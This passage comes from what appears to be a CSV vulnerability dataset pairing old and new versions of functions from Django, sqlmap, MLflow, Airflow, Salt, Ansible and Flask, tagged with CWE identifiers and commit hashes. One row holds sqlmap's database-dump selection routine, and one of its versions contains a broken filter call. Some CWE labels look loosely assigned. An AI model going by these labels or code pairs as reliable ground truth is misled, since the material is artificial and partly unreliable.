            'cache04': ('{% load cache %}{% cache 2 test %}cache04{% endcache %}', {}, 'cache03'),
            'cache05': ('{% load cache %}{% cache 2 test foo %}cache05{% endcache %}', {'foo': 1}, 'cache05'),
            'cache06': ('{% load cache %}{% cache 2 test foo %}cache06{% endcache %}', {'foo': 2}, 'cache06'),
            'cache07': ('{% load cache %}{% cache 2 test foo %}cache07{% endcache %}', {'foo': 1}, 'cache05'),

            # Allow first argument to be a variable.
            'cache08': ('{% load cache %}{% cache time test foo %}cache08{% endcache %}', {'foo': 2, 'time': 2}, 'cache06'),

            # Raise exception if we don't have at least 2 args, first one integer.
            'cache11': ('{% load cache %}{% cache %}{% endcache %}', {}, template.TemplateSyntaxError),
            'cache12': ('{% load cache %}{% cache 1 %}{% endcache %}', {}, template.TemplateSyntaxError),
            'cache13': ('{% load cache %}{% cache foo bar %}{% endcache %}', {}, template.TemplateSyntaxError),
            'cache14': ('{% load cache %}{% cache foo bar %}{% endcache %}', {'foo': 'fail'}, template.TemplateSyntaxError),
            'cache15': ('{% load cache %}{% cache foo bar %}{% endcache %}', {'foo': []}, template.TemplateSyntaxError),

            # Regression test for #7460.
            'cache16': ('{% load cache %}{% cache 1 foo bar %}{% endcache %}', {'foo': 'foo', 'bar': 'with spaces'}, ''),

            # Regression test for #11270.
            'cache17': ('{% load cache %}{% cache 10 long_cache_key poem %}Some Content{% endcache %}', {'poem': 'Oh freddled gruntbuggly/Thy micturations are to me/As plurdled gabbleblotchits/On a lurgid bee/That mordiously hath bitled out/Its earted jurtles/Into a rancid festering/Or else I shall rend thee in the gobberwarts with my blurglecruncheon/See if I dont.'}, 'Some Content'),

            # Test whitespace in filter arguments
            'cache18': ('{% load cache custom %}{% cache 2|noop:""x y"" cache18 %}cache18{% endcache %}', {}, 'cache18'),

            ### AUTOESCAPE TAG ##############################################
            'autoescape-tag01': (""{% autoescape off %}hello{% endautoescape %}"", {}, ""hello""),
            'autoescape-tag02': (""{% autoescape off %}{{ first }}{% endautoescape %}"", {""first"": ""<b>hello</b>""}, ""<b>hello</b>""),
            'autoescape-tag03': (""{% autoescape on %}{{ first }}{% endautoescape %}"", {""first"": ""<b>hello</b>""}, ""&lt;b&gt;hello&lt;/b&gt;""),

            # Autoescape disabling and enabling nest in a predictable way.
            'autoescape-tag04': (""{% autoescape off %}{{ first }} {% autoescape  on%}{{ first }}{% endautoescape %}{% endautoescape %}"", {""first"": ""<a>""}, ""<a> &lt;a&gt;""),

            'autoescape-tag05': (""{% autoescape on %}{{ first }}{% endautoescape %}"", {""first"": ""<b>first</b>""}, ""&lt;b&gt;first&lt;/b&gt;""),

            # Strings (ASCII or unicode) already marked as ""safe"" are not
            # auto-escaped
            'autoescape-tag06': (""{{ first }}"", {""first"": mark_safe(""<b>first</b>"")}, ""<b>first</b>""),
            'autoescape-tag07': (""{% autoescape on %}{{ first }}{% endautoescape %}"", {""first"": mark_safe(""<b>Apple</b>"")}, ""<b>Apple</b>""),

            # Literal string arguments to filters, if used in the result, are
            # safe.
            'autoescape-tag08': (r'{% autoescape on %}{{ var|default_if_none:"" endquote\"" hah"" }}{% endautoescape %}', {""var"": None}, ' endquote"" hah'),

            # Objects which return safe strings as their __unicode__ method
            # won't get double-escaped.
            'autoescape-tag09': (r'{{ unsafe }}', {'unsafe': filters.UnsafeClass()}, 'you &amp; me'),
            'autoescape-tag10': (r'{{ safe }}', {'safe': filters.SafeClass()}, 'you &gt; me'),

            # The ""safe"" and ""escape"" filters cannot work due to internal
            # implementation details (fortunately, the (no)autoescape block
            # tags can be used in those cases)
            'autoescape-filtertag01': (""{{ first }}{% filter safe %}{{ first }} x<y{% endfilter %}"", {""first"": ""<a>""}, template.TemplateSyntaxError),

            # ifqeual compares unescaped vales.
            'autoescape-ifequal01': ('{% ifequal var ""this & that"" %}yes{% endifequal %}', {""var"": ""this & that""}, ""yes""),

            # Arguments to filters are 'safe' and manipulate their input unescaped.
            'autoescape-filters01': ('{{ var|cut:""&"" }}', {""var"": ""this & that""}, ""this  that""),
            'autoescape-filters02': ('{{ var|join:"" & \"" }}', {""var"": (""Tom"", ""Dick"", ""Harry"")}, ""Tom & Dick & Harry""),

            # Literal strings are safe.
            'autoescape-literals01': ('{{ ""this & that"" }}', {}, ""this & that""),

            # Iterating over strings outputs safe characters.
            'autoescape-stringiterations01': ('{% for l in var %}{{ l }},{% endfor %}', {'var': 'K&R'}, ""K,&amp;,R,""),

            # Escape requirement survives lookup.
            'autoescape-lookup01': ('{{ var.key }}', {""var"": {""key"": ""this & that""}}, ""this &amp; that""),

            # Static template tags
            'static-prefixtag01': ('{% load static %}{% get_static_prefix %}', {}, settings.STATIC_URL),
            'static-prefixtag02': ('{% load static %}{% get_static_prefix as static_prefix %}{{ static_prefix }}', {}, settings.STATIC_URL),
            'static-prefixtag03': ('{% load static %}{% get_media_prefix %}', {}, settings.MEDIA_URL),
            'static-prefixtag04': ('{% load static %}{% get_media_prefix as media_prefix %}{{ media_prefix }}', {}, settings.MEDIA_URL),
            'static-statictag01': ('{% load static %}{% static ""admin/base.css"" %}', {}, urljoin(settings.STATIC_URL, 'admin/base.css')),
            'static-statictag02': ('{% load static %}{% static base_css %}', {'base_css': 'admin/base.css'}, urljoin(settings.STATIC_URL, 'admin/base.css')),
            'static-statictag03': ('{% load static %}{% static ""admin/base.css"" as foo %}{{ foo }}', {}, urljoin(settings.STATIC_URL, 'admin/base.css')),
            'static-statictag04': ('{% load static %}{% static base_css as foo %}{{ foo }}', {'base_css': 'admin/base.css'}, urljoin(settings.STATIC_URL, 'admin/base.css')),

            # Verbatim template tag outputs contents without rendering.
            'verbatim-tag01': ('{% verbatim %}{{bare   }}{% endverbatim %}', {}, '{{bare   }}'),
            'verbatim-tag02': ('{% verbatim %}{% endif %}{% endverbatim %}', {}, '{% endif %}'),
            'verbatim-tag03': (""{% verbatim %}It's the {% verbatim %} tag{% endverbatim %}"", {}, ""It's the {% verbatim %} tag""),
            'verbatim-tag04': ('{% verbatim %}{% verbatim %}{% endverbatim %}{% endverbatim %}', {}, template.TemplateSyntaxError),
            'verbatim-tag05': ('{% verbatim %}{% endverbatim %}{% verbatim %}{% endverbatim %}', {}, ''),
            'verbatim-tag06': (""{% verbatim special %}Don't {% endverbatim %} just yet{% endverbatim special %}"", {}, ""Don't {% endverbatim %} just yet""),
        }

        if numpy:
            tests.update({
                # Numpy's array-index syntax allows a template to access a certain item of a subscriptable object.
                'numpy-array-index01': (""{{ var.1 }}"", {""var"": numpy.array([""first item"", ""second item""])}, ""second item""),

                # Fail silently when the array index is out of range.
                'numpy-array-index02': (""{{ var.5 }}"", {""var"": numpy.array([""first item"", ""second item""])}, ("""", ""INVALID"")),
            })

        return tests"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/generic/entries.py,0,"def dumpFoundColumn(self, dbs, foundCols, colConsider):
        message = ""do you want to dump entries? [Y/n] ""

        if not readInput(message, default='Y', boolean=True):
            return

        dumpFromDbs = []
        message = ""which database(s)?\n[a]ll (default)\n""

        for db, tblData in dbs.items():
            if tblData:
                message += ""[%s]\n"" % unsafeSQLIdentificatorNaming(db)

        message += ""[q]uit""
        choice = readInput(message, default='a')

        if not choice or choice in ('a', 'A'):
            dumpFromDbs = list(dbs.keys())
        elif choice in ('q', 'Q'):
            return
        else:
            dumpFromDbs = choice.replace("" "", """").split(',')

        for db, tblData in dbs.items():
            if db not in dumpFromDbs or not tblData:
                continue

            conf.db = db
            dumpFromTbls = []
            message = ""which table(s) of database '%s'?\n"" % unsafeSQLIdentificatorNaming(db)
            message += ""[a]ll (default)\n""

            for tbl in tblData:
                message += ""[%s]\n"" % tbl

            message += ""[s]kip\n""
            message += ""[q]uit""
            choice = readInput(message, default='a')

            if not choice or choice in ('a', 'A'):
                dumpFromTbls = tblData
            elif choice in ('s', 'S'):
                continue
            elif choice in ('q', 'Q'):
                return
            else:
                dumpFromTbls = choice.replace("" "", """").split(',')

            for table, columns in tblData.items():
                if table not in dumpFromTbls:
                    continue

                conf.tbl = table
                colList = [_ for _ in columns if _]

                if conf.exclude:
                    colList = [_ for _ in colList if _ not in conf.exclude.split(',')]

                conf.col = ','.join(colList)
                kb.data.cachedColumns = {}
                kb.data.dumpedTable = {}

                data = self.dumpTable(dbs)

                if data:
                    conf.dumper.dbTableValues(data)",,sqlmapproject/sqlmap,ae6235ce20ed908690146c1786bcae4a92bb7829,"def dumpFoundColumn(self, dbs, foundCols, colConsider):
        message = ""do you want to dump entries? [Y/n] ""

        if not readInput(message, default='Y', boolean=True):
            return

        dumpFromDbs = []
        message = ""which database(s)?\n[a]ll (default)\n""

        for db, tblData in dbs.items():
            if tblData:
                message += ""[%s]\n"" % unsafeSQLIdentificatorNaming(db)

        message += ""[q]uit""
        choice = readInput(message, default='a')

        if not choice or choice in ('a', 'A'):
            dumpFromDbs = list(dbs.keys())
        elif choice in ('q', 'Q'):
            return
        else:
            dumpFromDbs = choice.replace("" "", """").split(',')

        for db, tblData in dbs.items():
            if db not in dumpFromDbs or not tblData:
                continue

            conf.db = db
            dumpFromTbls = []
            message = ""which table(s) of database '%s'?\n"" % unsafeSQLIdentificatorNaming(db)
            message += ""[a]ll (default)\n""

            for tbl in tblData:
                message += ""[%s]\n"" % tbl

            message += ""[s]kip\n""
            message += ""[q]uit""
            choice = readInput(message, default='a')

            if not choice or choice in ('a', 'A'):
                dumpFromTbls = tblData
            elif choice in ('s', 'S'):
                continue
            elif choice in ('q', 'Q'):
                return
            else:
                dumpFromTbls = choice.replace("" "", """").split(',')

            for table, columns in tblData.items():
                if table not in dumpFromTbls:
                    continue

                conf.tbl = table
                colList = filter(column for column in columns if column)

                if conf.exclude:
                    colList = [_ for _ in colList if _ not in conf.exclude.split(',')]

                conf.col = ','.join(colList)
                kb.data.cachedColumns = {}
                kb.data.dumpedTable = {}

                data = self.dumpTable(dbs)

                if data:
                    conf.dumper.dbTableValues(data)"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/store/tracking/sqlalchemy_store.py,0,"def _get_search_experiments_order_by_clauses(order_by):
    order_by_clauses = []
    for (type_, key, ascending) in map(
        SearchExperimentsUtils.parse_order_by_for_search_experiments,
        order_by or [""creation_time DESC"", ""experiment_id ASC""],
    ):
        if type_ == ""attribute"":
            order_by_clauses.append((getattr(SqlExperiment, key), ascending))
        else:
            raise MlflowException.invalid_parameter_value(f""Invalid order_by entity: {type_}"")

    # Add a tie-breaker
    if not any(col == SqlExperiment.experiment_id for col, _ in order_by_clauses):
        order_by_clauses.append((SqlExperiment.experiment_id, False))

    return [col.asc() if ascending else col.desc() for col, ascending in order_by_clauses]",,mlflow/mlflow,ea66b134c436565a7cef4672ae930b30a8291ee8,"def _get_search_experiments_order_by_clauses(order_by):
    order_by_clauses = []
    for (type_, key, ascending) in map(
        SearchExperimentsUtils.parse_order_by_for_search_experiments,
        order_by or [""last_update_time DESC""],
    ):
        if type_ == ""attribute"":
            order_by_clauses.append((getattr(SqlExperiment, key), ascending))
        else:
            raise MlflowException.invalid_parameter_value(f""Invalid order_by entity: {type_}"")

    # Add a tie-breaker
    if not any(col == SqlExperiment.experiment_id for col, _ in order_by_clauses):
        order_by_clauses.append((SqlExperiment.experiment_id, False))

    return [col.asc() if ascending else col.desc() for col, ascending in order_by_clauses]"
,UNKNOWN,UNKNOWN,airflow/migrations/versions/d38e04c12aa2_add_serialized_dag_table.py,1,"def upgrade():
    """"""Upgrade version.""""""
    json_type = sa.JSON
    conn = op.get_bind()  # pylint: disable=no-member

    if conn.dialect.name != ""postgresql"":
        # Mysql 5.7+/MariaDB 10.2.3 has JSON support. Rather than checking for
        # versions, check for the function existing.
        try:
            conn.execute(""SELECT JSON_VALID(1)"").fetchone()
        except (sa.exc.OperationalError, sa.exc.ProgrammingError):
            json_type = sa.Text

    op.create_table('serialized_dag',  # pylint: disable=no-member
                    sa.Column('dag_id', sa.String(length=250), nullable=False),
                    sa.Column('fileloc', sa.String(length=2000), nullable=False),
                    sa.Column('fileloc_hash', sa.Integer(), nullable=False),
                    sa.Column('data', json_type(), nullable=False),
                    sa.Column('last_updated', sa.DateTime(), nullable=False),
                    sa.PrimaryKeyConstraint('dag_id'))
    op.create_index(   # pylint: disable=no-member
        'idx_fileloc_hash', 'serialized_dag', ['fileloc_hash'])

    if conn.dialect.name == ""mysql"":
        conn.execute(""SET time_zone = '+00:00'"")
        cur = conn.execute(""SELECT @@explicit_defaults_for_timestamp"")
        res = cur.fetchall()
        if res[0][0] == 0:
            raise Exception(
                ""Global variable explicit_defaults_for_timestamp needs to be on (1) for mysql""
            )

        op.alter_column(  # pylint: disable=no-member
            table_name=""serialized_dag"",
            column_name=""last_updated"",
            type_=mysql.TIMESTAMP(fsp=6),
            nullable=False,
        )
    else:
        # sqlite and mssql datetime are fine as is.  Therefore, not converting
        if conn.dialect.name in (""sqlite"", ""mssql""):
            return

        # we try to be database agnostic, but not every db (e.g. sqlserver)
        # supports per session time zones
        if conn.dialect.name == ""postgresql"":
            conn.execute(""set timezone=UTC"")

        op.alter_column(  # pylint: disable=no-member
            table_name=""serialized_dag"",
            column_name=""last_updated"",
            type_=sa.TIMESTAMP(timezone=True),
        )",CWE-89,apache/airflow,a5b663c0cf48cdc85723f6ecb5b4d838dcdec8b9,"def upgrade():
    """"""Upgrade version.""""""
    json_type = sa.JSON
    conn = op.get_bind()  # pylint: disable=no-member

    if conn.dialect.name != ""postgresql"":
        # Mysql 5.7+/MariaDB 10.2.3 has JSON support. Rather than checking for
        # versions, check for the function existing.
        try:
            conn.execute(""SELECT JSON_VALID(1)"").fetchone()
        except sa.exc.OperationalError:
            json_type = sa.Text

    op.create_table('serialized_dag',  # pylint: disable=no-member
                    sa.Column('dag_id', sa.String(length=250), nullable=False),
                    sa.Column('fileloc', sa.String(length=2000), nullable=False),
                    sa.Column('fileloc_hash', sa.Integer(), nullable=False),
                    sa.Column('data', json_type(), nullable=False),
                    sa.Column('last_updated', sa.DateTime(), nullable=False),
                    sa.PrimaryKeyConstraint('dag_id'))
    op.create_index(   # pylint: disable=no-member
        'idx_fileloc_hash', 'serialized_dag', ['fileloc_hash'])

    if conn.dialect.name == ""mysql"":
        conn.execute(""SET time_zone = '+00:00'"")
        cur = conn.execute(""SELECT @@explicit_defaults_for_timestamp"")
        res = cur.fetchall()
        if res[0][0] == 0:
            raise Exception(
                ""Global variable explicit_defaults_for_timestamp needs to be on (1) for mysql""
            )

        op.alter_column(  # pylint: disable=no-member
            table_name=""serialized_dag"",
            column_name=""last_updated"",
            type_=mysql.TIMESTAMP(fsp=6),
            nullable=False,
        )
    else:
        # sqlite and mssql datetime are fine as is.  Therefore, not converting
        if conn.dialect.name in (""sqlite"", ""mssql""):
            return

        # we try to be database agnostic, but not every db (e.g. sqlserver)
        # supports per session time zones
        if conn.dialect.name == ""postgresql"":
            conn.execute(""set timezone=UTC"")

        op.alter_column(  # pylint: disable=no-member
            table_name=""serialized_dag"",
            column_name=""last_updated"",
            type_=sa.TIMESTAMP(timezone=True),
        )"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/providers/weaviate/hooks/weaviate.py,0,"def get_conn(self) -> WeaviateClient:
        conn = self.get_connection(self.conn_id)
        url = conn.host
        username = conn.login or """"
        password = conn.password or """"
        extras = conn.extra_dejson
        access_token = extras.get(""access_token"", None)
        refresh_token = extras.get(""refresh_token"", None)
        expires_in = extras.get(""expires_in"", 60)
        # previously token was used as api_key(backwards compatibility)
        api_key = extras.get(""api_key"", None) or extras.get(""token"", None)
        client_secret = extras.get(""client_secret"", None)
        additional_headers = extras.pop(""additional_headers"", {})
        scope = extras.get(""scope"", None) or extras.get(""oidc_scope"", None)
        if api_key:
            auth_client_secret: AuthApiKey | AuthBearerToken | AuthClientCredentials | AuthClientPassword = (
                AuthApiKey(api_key)
            )
        elif access_token:
            auth_client_secret = AuthBearerToken(
                access_token, expires_in=expires_in, refresh_token=refresh_token
            )
        elif client_secret:
            auth_client_secret = AuthClientCredentials(client_secret=client_secret, scope=scope)
        else:
            auth_client_secret = AuthClientPassword(username=username, password=password, scope=scope)

        return WeaviateClient(
            url=url, auth_client_secret=auth_client_secret, additional_headers=additional_headers
        )",CWE-Unknown,apache/airflow,d048122eb1899a5d5d16ad67b876d7e7c6982e66,"def get_conn(self) -> WeaviateClient:
        conn = self.get_connection(self.conn_id)
        url = conn.host
        username = conn.login or """"
        password = conn.password or """"
        extras = conn.extra_dejson
        access_token = extras.get(""access_token"", None)
        refresh_token = extras.get(""refresh_token"", None)
        expires_in = extras.get(""expires_in"", 60)
        # previously token was used as api_key(backwards compatibility)
        api_key = extras.get(""api_key"", None) or extras.get(""token"", None)
        client_secret = extras.get(""client_secret"", None)
        additional_headers = extras.pop(""additional_headers"", {})
        scope = extras.get(""scope"", None) or extras.get(""oidc_scope"", None)
        if api_key:
            auth_client_secret = AuthApiKey(api_key)
        elif access_token:
            auth_client_secret = AuthBearerToken(
                access_token, expires_in=expires_in, refresh_token=refresh_token
            )
        elif client_secret:
            auth_client_secret = AuthClientCredentials(client_secret=client_secret, scope=scope)
        else:
            auth_client_secret = AuthClientPassword(username=username, password=password, scope=scope)

        return WeaviateClient(
            url=url, auth_client_secret=auth_client_secret, additional_headers=additional_headers
        )"
,UNKNOWN,UNKNOWN,tests/unit/modules/test_cp.py,1,"def test_push(self):
        '''
        Test if push works with good posix path.
        '''
        filename = '/saltines/test.file'
        if salt.utils.platform.is_windows():
            filename = 'c:\\saltines\\test.file'
        with patch('salt.modules.cp.os.path',
                   MagicMock(isfile=Mock(return_value=True), wraps=cp.os.path)), \
                patch('salt.modules.cp.os.path',
                      MagicMock(getsize=MagicMock(return_value=10), wraps=cp.os.path)), \
                patch.multiple('salt.modules.cp',
                               _auth=MagicMock(**{'return_value.gen_token.return_value': 'token'}),
                               __opts__={'id': 'abc', 'file_buffer_size': 10}), \
                patch('salt.utils.files.fopen', mock_open(read_data=b'content')) as m_open, \
                patch('salt.transport.Channel.factory', MagicMock()):
            response = cp.push(filename)
            assert response, response
            num_opens = len(m_open.filehandles[filename])
            assert num_opens == 1, num_opens
            fh_ = m_open.filehandles[filename][0]
            assert fh_.read.call_count == 2, fh_.read.call_count
            salt.transport.Channel.factory({}).send.assert_called_once_with(
                dict(
                    loc=fh_.tell(),  # pylint: disable=resource-leakage
                    cmd='_file_recv',
                    tok='token',
                    path=['saltines', 'test.file'],
                    size=10,
                    data=b'',  # data is empty here because load['data'] is overwritten
                    id='abc'
                )
            )",CWE-703,saltstack/salt,b148f7c3ad26a0be4271c2cdbc148f8a5d059a7b,"def test_push(self):
        '''
        Test if push works with good posix path.
        '''
        filename = '/saltines/test.file'
        if salt.utils.platform.is_windows():
            filename = 'c:\\saltines\\test.file'
        with patch('salt.modules.cp.os.path',
                   MagicMock(isfile=Mock(return_value=True), wraps=cp.os.path)), \
                patch('salt.modules.cp.os.path',
                      MagicMock(getsize=MagicMock(return_value=10), wraps=cp.os.path)), \
                patch.multiple('salt.modules.cp',
                               _auth=MagicMock(**{'return_value.gen_token.return_value': 'token'}),
                               __opts__={'id': 'abc', 'file_buffer_size': 10}), \
                patch('salt.utils.files.fopen', mock_open(read_data=b'content')) as m_open, \
                patch('salt.transport.Channel.factory', MagicMock()):
            response = cp.push(filename)
            assert response, response
            num_opens = len(m_open.filehandles[filename])
            assert num_opens == 1, num_opens
            fh_ = m_open.filehandles[filename][0]
            assert fh_.read.call_count == 2, fh_.read.call_count
            salt.transport.Channel.factory({}).send.assert_called_once_with(
                dict(
                    loc=fh_.tell(),  # pylint: disable=resource-leakage
                    cmd='_file_recv',
                    tok='token',
                    path=['saltines', 'test.file'],
                    data=b'',  # data is empty here because load['data'] is overwritten
                    id='abc'
                )
            )"
,UNKNOWN,UNKNOWN,tests_common/pytest_plugin.py,1,"def pytest_configure(config: pytest.Config) -> None:
    # Ensure that the airflow sources dir is at the end of the sys path if it's not already there. Needed to
    # run import from `providers/tests/`
    if os.environ.get(""USE_AIRFLOW_VERSION"") == """":
        # if USE_AIRFLOW_VERSION is not empty, we are running tests against the installed version of Airflow
        # and providers so there is no need to add the sources directory to the path
        desired = AIRFLOW_SOURCES_ROOT_DIR.as_posix()
        for path in sys.path:
            if path == desired:
                break
        else:
            # This ""desired"" path should be the Airflow source directory (repo root)
            assert (AIRFLOW_SOURCES_ROOT_DIR / "".asf.yaml"").exists(), f""Path {desired} is not Airflow root""
            sys.path.append(desired)

        if (backend := config.getoption(""backend"", default=None)) and backend not in SUPPORTED_DB_BACKENDS:
            msg = (
                f""Provided DB backend {backend!r} not supported, ""
                f""expected one of: {', '.join(map(repr, SUPPORTED_DB_BACKENDS))}""
            )
            pytest.exit(msg, returncode=6)

    config.addinivalue_line(""markers"", ""integration(name): mark test to run with named integration"")
    config.addinivalue_line(""markers"", ""backend(name): mark test to run with named backend"")
    config.addinivalue_line(""markers"", ""system(name): mark test to run with named system"")
    config.addinivalue_line(""markers"", ""platform(name): mark test to run with specific platform/environment"")
    config.addinivalue_line(""markers"", ""long_running: mark test that run for a long time (many minutes)"")
    config.addinivalue_line(
        ""markers"", ""quarantined: mark test that are in quarantine (i.e. flaky, need to be isolated and fixed)""
    )
    config.addinivalue_line(
        ""markers"", ""credential_file(name): mark tests that require credential file in CREDENTIALS_DIR""
    )
    config.addinivalue_line(
        ""markers"", ""need_serialized_dag: mark tests that require dags in serialized form to be present""
    )
    config.addinivalue_line(
        ""markers"",
        ""db_test: mark tests that require database to be present"",
    )
    config.addinivalue_line(
        ""markers"",
        ""non_db_test_override: you can mark individual tests with this marker to override the db_test marker"",
    )
    config.addinivalue_line(
        ""markers"",
        ""virtualenv_operator: virtualenv operator tests are 'long', we should run them separately"",
    )
    config.addinivalue_line(
        ""markers"",
        ""external_python_operator: external python operator tests are 'long', we should run them separately"",
    )
    config.addinivalue_line(""markers"", ""enable_redact: do not mock redact secret masker"")
    config.addinivalue_line(""markers"", ""skip_if_database_isolation_mode: skip if DB isolation is enabled"")

    os.environ[""_AIRFLOW__SKIP_DATABASE_EXECUTOR_COMPATIBILITY_CHECK""] = ""1""

    # Setup internal warnings plugins
    if ""ignore"" in sys.warnoptions:
        config.option.disable_forbidden_warnings = True
        config.option.disable_capture_warnings = True
    if not config.pluginmanager.get_plugin(""warnings""):
        # Internal forbidden warnings plugin depends on builtin pytest warnings plugin
        config.option.disable_forbidden_warnings = True

    forbidden_warnings: list[str] | None = config.getini(""forbidden_warnings"")
    if not config.option.disable_forbidden_warnings and forbidden_warnings:
        from tests_common._internals.forbidden_warnings import ForbiddenWarningsPlugin

        forbidden_warnings_plugin = ForbiddenWarningsPlugin(
            config=config,
            forbidden_warnings=tuple(map(str.strip, forbidden_warnings)),
        )
        config.pluginmanager.register(forbidden_warnings_plugin)
        config.stash[forbidden_warnings_key] = forbidden_warnings_plugin

    if not config.option.disable_capture_warnings:
        from tests_common._internals.capture_warnings import CaptureWarningsPlugin

        capture_warnings_plugin = CaptureWarningsPlugin(
            config=config, output_path=config.getoption(""warning_output_path"", default=None)
        )
        config.pluginmanager.register(capture_warnings_plugin)
        config.stash[capture_warnings_key] = capture_warnings_plugin",CWE-703,apache/airflow,6e9c53677a51ad234247d01a3cb8d2de725f9d56,"def pytest_configure(config: pytest.Config) -> None:
    # Ensure that the airflow sources dir is at the end of the sys path if it's not already there. Needed to
    # run import from `providers/tests/`
    desired = AIRFLOW_SOURCES_ROOT_DIR.as_posix()
    for path in sys.path:
        if path == desired:
            break
    else:
        # This ""desired"" path should be the Airflow source directory (repo root)
        assert (AIRFLOW_SOURCES_ROOT_DIR / "".asf.yaml"").exists(), f""Path {desired} is not Airflow root""
        sys.path.append(desired)

    if (backend := config.getoption(""backend"", default=None)) and backend not in SUPPORTED_DB_BACKENDS:
        msg = (
            f""Provided DB backend {backend!r} not supported, ""
            f""expected one of: {', '.join(map(repr, SUPPORTED_DB_BACKENDS))}""
        )
        pytest.exit(msg, returncode=6)

    config.addinivalue_line(""markers"", ""integration(name): mark test to run with named integration"")
    config.addinivalue_line(""markers"", ""backend(name): mark test to run with named backend"")
    config.addinivalue_line(""markers"", ""system(name): mark test to run with named system"")
    config.addinivalue_line(""markers"", ""platform(name): mark test to run with specific platform/environment"")
    config.addinivalue_line(""markers"", ""long_running: mark test that run for a long time (many minutes)"")
    config.addinivalue_line(
        ""markers"", ""quarantined: mark test that are in quarantine (i.e. flaky, need to be isolated and fixed)""
    )
    config.addinivalue_line(
        ""markers"", ""credential_file(name): mark tests that require credential file in CREDENTIALS_DIR""
    )
    config.addinivalue_line(
        ""markers"", ""need_serialized_dag: mark tests that require dags in serialized form to be present""
    )
    config.addinivalue_line(
        ""markers"",
        ""db_test: mark tests that require database to be present"",
    )
    config.addinivalue_line(
        ""markers"",
        ""non_db_test_override: you can mark individual tests with this marker to override the db_test marker"",
    )
    config.addinivalue_line(
        ""markers"",
        ""virtualenv_operator: virtualenv operator tests are 'long', we should run them separately"",
    )
    config.addinivalue_line(
        ""markers"",
        ""external_python_operator: external python operator tests are 'long', we should run them separately"",
    )
    config.addinivalue_line(""markers"", ""enable_redact: do not mock redact secret masker"")
    config.addinivalue_line(""markers"", ""skip_if_database_isolation_mode: skip if DB isolation is enabled"")

    os.environ[""_AIRFLOW__SKIP_DATABASE_EXECUTOR_COMPATIBILITY_CHECK""] = ""1""

    # Setup internal warnings plugins
    if ""ignore"" in sys.warnoptions:
        config.option.disable_forbidden_warnings = True
        config.option.disable_capture_warnings = True
    if not config.pluginmanager.get_plugin(""warnings""):
        # Internal forbidden warnings plugin depends on builtin pytest warnings plugin
        config.option.disable_forbidden_warnings = True

    forbidden_warnings: list[str] | None = config.getini(""forbidden_warnings"")
    if not config.option.disable_forbidden_warnings and forbidden_warnings:
        from tests_common._internals.forbidden_warnings import ForbiddenWarningsPlugin

        forbidden_warnings_plugin = ForbiddenWarningsPlugin(
            config=config,
            forbidden_warnings=tuple(map(str.strip, forbidden_warnings)),
        )
        config.pluginmanager.register(forbidden_warnings_plugin)
        config.stash[forbidden_warnings_key] = forbidden_warnings_plugin

    if not config.option.disable_capture_warnings:
        from tests_common._internals.capture_warnings import CaptureWarningsPlugin

        capture_warnings_plugin = CaptureWarningsPlugin(
            config=config, output_path=config.getoption(""warning_output_path"", default=None)
        )
        config.pluginmanager.register(capture_warnings_plugin)
        config.stash[capture_warnings_key] = capture_warnings_plugin"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/module_utils/network/ios/utils/utils.py,0,"def filter_dict_having_none_value(want, have):
    # Generate dict with have dict value which is None in want dict
    test_dict = dict()
    name = want.get('name')
    if name:
        test_dict['name'] = name
    diff_ip = False
    for k, v in iteritems(want):
        if isinstance(v, dict):
            for key, value in iteritems(v):
                test_key_dict = dict()
                if value is None:
                    dict_val = have.get(k).get(key)
                    test_key_dict.update({key: dict_val})
                elif k == 'ipv6' and value.lower() != have.get(k)[0].get(key).lower():
                    # as multiple IPV6 address can be configured on same
                    # interface, for replace state in place update will
                    # actually create new entry, which isn't as expected
                    # for replace state, so in case of IPV6 address
                    # every time 1st delete the existing IPV6 config and
                    # then apply the new change
                    dict_val = have.get(k)[0].get(key)
                    test_key_dict.update({key: dict_val})
                test_dict.update({k: test_key_dict})
        if isinstance(v, list):
            for key, value in iteritems(v[0]):
                test_key_dict = dict()
                if value is None:
                    dict_val = have.get(k).get(key)
                    test_key_dict.update({key: dict_val})
                elif k == 'ipv6' and value.lower() != have.get(k)[0].get(key).lower():
                    dict_val = have.get(k)[0].get(key)
                    test_key_dict.update({key: dict_val})
                test_dict.update({k: test_key_dict})
            # below conditions checks are added to check if
            # secondary IP is configured, if yes then delete
            # the already configured IP if want and have IP
            # is different else if it's same no need to delete
            for each in v:
                if each.get('secondary'):
                    want_ip = each.get('address').split('/')
                    have_ip = have.get('ipv4')
                    if len(want_ip) > 1 and have_ip and have_ip[0].get('secondary'):
                        have_ip = have_ip[0]['address'].split(' ')[0]
                        if have_ip != want_ip[0]:
                            diff_ip = True
                    if each.get('secondary') and diff_ip is True:
                        test_key_dict.update({'secondary': True})
                    test_dict.update({'ipv4': test_key_dict})
        if v is None:
            val = have.get(k)
            test_dict.update({k: val})
    return test_dict",,ansible/ansible,0c4f167b82e8c898dd8e6d5b00fcd76aa483d875,"def filter_dict_having_none_value(want, have):
    # Generate dict with have dict value which is None in want dict
    test_dict = dict()
    test_key_dict = dict()
    name = want.get('name')
    if name:
        test_dict['name'] = name
    diff_ip = False
    want_ip = ''
    for k, v in iteritems(want):
        if isinstance(v, dict):
            for key, value in iteritems(v):
                if value is None:
                    dict_val = have.get(k).get(key)
                    test_key_dict.update({key: dict_val})
                test_dict.update({k: test_key_dict})
        if isinstance(v, list):
            for key, value in iteritems(v[0]):
                if value is None:
                    dict_val = have.get(k).get(key)
                    test_key_dict.update({key: dict_val})
                test_dict.update({k: test_key_dict})
            # below conditions checks are added to check if
            # secondary IP is configured, if yes then delete
            # the already configured IP if want and have IP
            # is different else if it's same no need to delete
            for each in v:
                if each.get('secondary'):
                    want_ip = each.get('address').split('/')
                    have_ip = have.get('ipv4')
                    if len(want_ip) > 1 and have_ip and have_ip[0].get('secondary'):
                        have_ip = have_ip[0]['address'].split(' ')[0]
                        if have_ip != want_ip[0]:
                            diff_ip = True
                    if each.get('secondary') and diff_ip is True:
                        test_key_dict.update({'secondary': True})
                    test_dict.update({'ipv4': test_key_dict})
        if v is None:
            val = have.get(k)
            test_dict.update({k: val})
    return test_dict"
,UNKNOWN,UNKNOWN,flask/blueprints.py,1,"def add_url_rule(self, rule, endpoint=None, view_func=None, **options):
        """"""Like :meth:`Flask.add_url_rule` but for a blueprint.  The endpoint for
